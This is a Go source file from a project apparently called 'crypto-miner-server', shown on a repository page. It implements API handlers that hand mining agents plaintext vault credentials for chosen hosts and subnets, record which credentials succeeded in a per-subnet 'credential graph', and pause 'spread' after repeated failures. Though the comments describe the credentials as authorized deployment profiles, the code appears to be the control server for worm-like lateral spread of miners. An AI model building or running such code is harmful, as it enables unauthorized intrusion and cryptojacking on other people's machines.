Some checks failed
CI Docker Mining Proof / Linux agent hashrate proof (push) Has been cancelled
210 lines
6.4 KiB
Go
210 lines
6.4 KiB
Go
package api
|
|
|
|
import (
|
|
"encoding/json"
|
|
"log"
|
|
"net/http"
|
|
"strings"
|
|
|
|
"crypto-miner-server/internal/atlas"
|
|
dbpkg "crypto-miner-server/internal/db"
|
|
)
|
|
|
|
// DeploymentCredProfile is the API-facing deployment credential profile (no vault secrets).
|
|
type DeploymentCredProfile struct {
|
|
ID string `json:"id"`
|
|
Label string `json:"label"`
|
|
Username string `json:"username"`
|
|
VaultRef string `json:"vault_ref,omitempty"`
|
|
}
|
|
|
|
// SpreadCredProvider supplies authorized deployment credential profiles and vault secrets.
|
|
type SpreadCredProvider interface {
|
|
DeploymentProfiles() []DeploymentCredProfile
|
|
OrderProfilesForSubnet(subnet string, affinity []dbpkg.CredProfileAffinity) []DeploymentCredProfile
|
|
LoadProfileSecret(profileID string) (username, password string, err error)
|
|
}
|
|
|
|
type spreadCredIssueRequest struct {
|
|
AgentID string `json:"agent_id"`
|
|
Host string `json:"host"`
|
|
Subnet string `json:"subnet"`
|
|
Method string `json:"method"`
|
|
}
|
|
|
|
type spreadCredRedeemRequest struct {
|
|
Token string `json:"token"`
|
|
}
|
|
|
|
type spreadCredReportRequest struct {
|
|
AgentID string `json:"agent_id"`
|
|
Host string `json:"host"`
|
|
Subnet string `json:"subnet"`
|
|
CredentialProfileID string `json:"credential_profile_id"`
|
|
Method string `json:"method"`
|
|
Success bool `json:"success"`
|
|
}
|
|
|
|
// SpreadCredHandler issues short-lived bootstrap tokens and records cred graph edges.
|
|
type SpreadCredHandler struct {
|
|
db *dbpkg.Database
|
|
provider SpreadCredProvider
|
|
}
|
|
|
|
func NewSpreadCredHandler(database *dbpkg.Database, provider SpreadCredProvider) *SpreadCredHandler {
|
|
return &SpreadCredHandler{db: database, provider: provider}
|
|
}
|
|
|
|
// GET /api/v1/spread/credential-graph (alias: /api/v1/emberwake/cred-graph)
|
|
func (h *SpreadHandler) GetCredGraph(w http.ResponseWriter, r *http.Request) {
|
|
rows, err := h.db.ListCredGraphBySubnet()
|
|
if err != nil {
|
|
http.Error(w, err.Error(), http.StatusInternalServerError)
|
|
return
|
|
}
|
|
if rows == nil {
|
|
rows = []dbpkg.CredGraphSubnetRow{}
|
|
}
|
|
writeJSON(w, map[string]interface{}{"subnets": rows})
|
|
}
|
|
|
|
// GET /api/v1/spread/service-graph?agent_id=&subnet=
|
|
func (h *SpreadHandler) GetServiceGraph(w http.ResponseWriter, r *http.Request) {
|
|
agentID := strings.TrimSpace(r.URL.Query().Get("agent_id"))
|
|
subnet := normalizeSubnetLabel(strings.TrimSpace(r.URL.Query().Get("subnet")))
|
|
|
|
services := []ServiceGraphEntry{}
|
|
if h.wsHub != nil {
|
|
services = h.wsHub.QueryServiceGraph(agentID, subnet)
|
|
}
|
|
resp := map[string]interface{}{"services": services}
|
|
if agentID != "" {
|
|
resp["agent_id"] = agentID
|
|
}
|
|
if subnet != "" {
|
|
resp["subnet"] = subnet
|
|
}
|
|
writeJSON(w, resp)
|
|
}
|
|
|
|
func normalizeSubnetLabel(subnet string) string {
|
|
subnet = strings.TrimSpace(subnet)
|
|
if strings.HasSuffix(subnet, ".x") {
|
|
return strings.TrimSuffix(subnet, ".x")
|
|
}
|
|
return subnet
|
|
}
|
|
|
|
// POST /api/v1/agent/spread-cred/issue
|
|
func (h *SpreadCredHandler) IssueToken(w http.ResponseWriter, r *http.Request) {
|
|
if h.provider == nil {
|
|
http.Error(w, "deployment credentials not configured", http.StatusNotFound)
|
|
return
|
|
}
|
|
var req spreadCredIssueRequest
|
|
if err := json.NewDecoder(r.Body).Decode(&req); err != nil {
|
|
http.Error(w, "invalid JSON", http.StatusBadRequest)
|
|
return
|
|
}
|
|
req.Host = strings.TrimSpace(req.Host)
|
|
req.Subnet = strings.TrimSpace(req.Subnet)
|
|
req.Method = strings.TrimSpace(req.Method)
|
|
req.AgentID = strings.TrimSpace(req.AgentID)
|
|
if req.Host == "" || req.Subnet == "" || req.Method == "" {
|
|
http.Error(w, "host, subnet, and method required", http.StatusBadRequest)
|
|
return
|
|
}
|
|
|
|
affinity, err := h.db.ListCredProfileAffinity(req.Subnet)
|
|
if err != nil {
|
|
http.Error(w, err.Error(), http.StatusInternalServerError)
|
|
return
|
|
}
|
|
ordered := h.provider.OrderProfilesForSubnet(req.Subnet, affinity)
|
|
if len(ordered) == 0 {
|
|
http.Error(w, "no deployment credential profiles configured", http.StatusNotFound)
|
|
return
|
|
}
|
|
|
|
profile := ordered[0]
|
|
username, password, err := h.provider.LoadProfileSecret(profile.ID)
|
|
if err != nil {
|
|
http.Error(w, "credential vault unavailable", http.StatusServiceUnavailable)
|
|
return
|
|
}
|
|
|
|
token := issueSpreadCredToken(spreadCredTokenEntry{
|
|
AgentID: req.AgentID,
|
|
ProfileID: profile.ID,
|
|
Username: username,
|
|
Password: password,
|
|
Host: req.Host,
|
|
Subnet: req.Subnet,
|
|
Method: req.Method,
|
|
})
|
|
writeJSON(w, map[string]interface{}{
|
|
"token": token,
|
|
"profile_id": profile.ID,
|
|
"expires_in": int(spreadCredTokenTTL.Seconds()),
|
|
})
|
|
}
|
|
|
|
// POST /api/v1/agent/spread-cred/redeem
|
|
func (h *SpreadCredHandler) RedeemToken(w http.ResponseWriter, r *http.Request) {
|
|
var req spreadCredRedeemRequest
|
|
if err := json.NewDecoder(r.Body).Decode(&req); err != nil {
|
|
http.Error(w, "invalid JSON", http.StatusBadRequest)
|
|
return
|
|
}
|
|
req.Token = strings.TrimSpace(req.Token)
|
|
if req.Token == "" {
|
|
http.Error(w, "token required", http.StatusBadRequest)
|
|
return
|
|
}
|
|
entry, ok := consumeSpreadCredToken(req.Token)
|
|
if !ok {
|
|
http.Error(w, "invalid or expired token", http.StatusUnauthorized)
|
|
return
|
|
}
|
|
writeJSON(w, map[string]interface{}{
|
|
"profile_id": entry.ProfileID,
|
|
"username": entry.Username,
|
|
"password": entry.Password,
|
|
"host": entry.Host,
|
|
"subnet": entry.Subnet,
|
|
"method": entry.Method,
|
|
})
|
|
}
|
|
|
|
// POST /api/v1/agent/spread-cred/report
|
|
func (h *SpreadCredHandler) ReportEdge(w http.ResponseWriter, r *http.Request) {
|
|
var req spreadCredReportRequest
|
|
if err := json.NewDecoder(r.Body).Decode(&req); err != nil {
|
|
http.Error(w, "invalid JSON", http.StatusBadRequest)
|
|
return
|
|
}
|
|
req.Host = strings.TrimSpace(req.Host)
|
|
req.Subnet = strings.TrimSpace(req.Subnet)
|
|
req.CredentialProfileID = strings.TrimSpace(req.CredentialProfileID)
|
|
req.Method = strings.TrimSpace(req.Method)
|
|
req.AgentID = strings.TrimSpace(req.AgentID)
|
|
if req.Host == "" || req.Subnet == "" || req.CredentialProfileID == "" {
|
|
http.Error(w, "host, subnet, and credential_profile_id required", http.StatusBadRequest)
|
|
return
|
|
}
|
|
if err := h.db.InsertCredEdge(req.Host, req.Subnet, req.CredentialProfileID, req.Method, req.AgentID, req.Success); err != nil {
|
|
http.Error(w, err.Error(), http.StatusInternalServerError)
|
|
return
|
|
}
|
|
if !req.Success {
|
|
target := req.Subnet
|
|
if target == "" {
|
|
target = req.Host
|
|
}
|
|
if paused, recErr := h.db.RecordSubnetSpreadFailure(target); recErr == nil && paused {
|
|
log.Printf("[subnet-immune] spread paused for prefix %q after %d failures", atlas.PrefixFromHostOrIP(target), atlas.SubnetSpreadFailureThreshold)
|
|
}
|
|
}
|
|
writeJSON(w, map[string]interface{}{"ok": true})
|
|
}
|